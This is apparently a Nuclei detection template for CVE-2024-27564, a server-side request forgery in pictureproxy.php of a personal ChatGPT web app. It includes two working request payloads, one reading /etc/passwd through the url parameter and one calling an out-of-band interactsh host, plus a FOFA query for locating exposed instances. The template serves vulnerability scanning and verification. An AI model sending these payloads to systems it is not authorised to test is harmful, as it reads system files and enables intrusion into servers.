漏洞描述
A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
id: CVE-2024-27564
info:
name: ChatGPT个人专用版 - Server Side Request Forgery
author: DhiyaneshDK
severity: high
description: |
A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
reference:
- https://github.com/dirk1983/chatgpt/issues/114
- https://nvd.nist.gov/vuln/detail/CVE-2024-27564
classification:
epss-score: 0.91787
epss-percentile: 0.99676
cpe: cpe:2.3:a:chanzhaoyu:chatgpt_web:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: chanzhaoyu
product: chatgpt_web
fofa-query: "title=\"ChatGPT个人专用版\""
tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi,vkev
http:
- method: GET
path:
- "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd"
- "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(header, "image/jpeg")
- regex('root:.*:0:0:', body)
condition: and
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
- contains(header, "image/jpeg")
- status_code == 200
condition: and
# digest: 4a0a0047304502205ec2ef65ed120d72fe9f839d2150b1ce0bea6facaa026a694dfc05509c830e93022100a1b708520f03e841a52cf372829c102efa4eab6660b99b112b343d8820ae12be:922c64590222798bb761d5b6d8e72950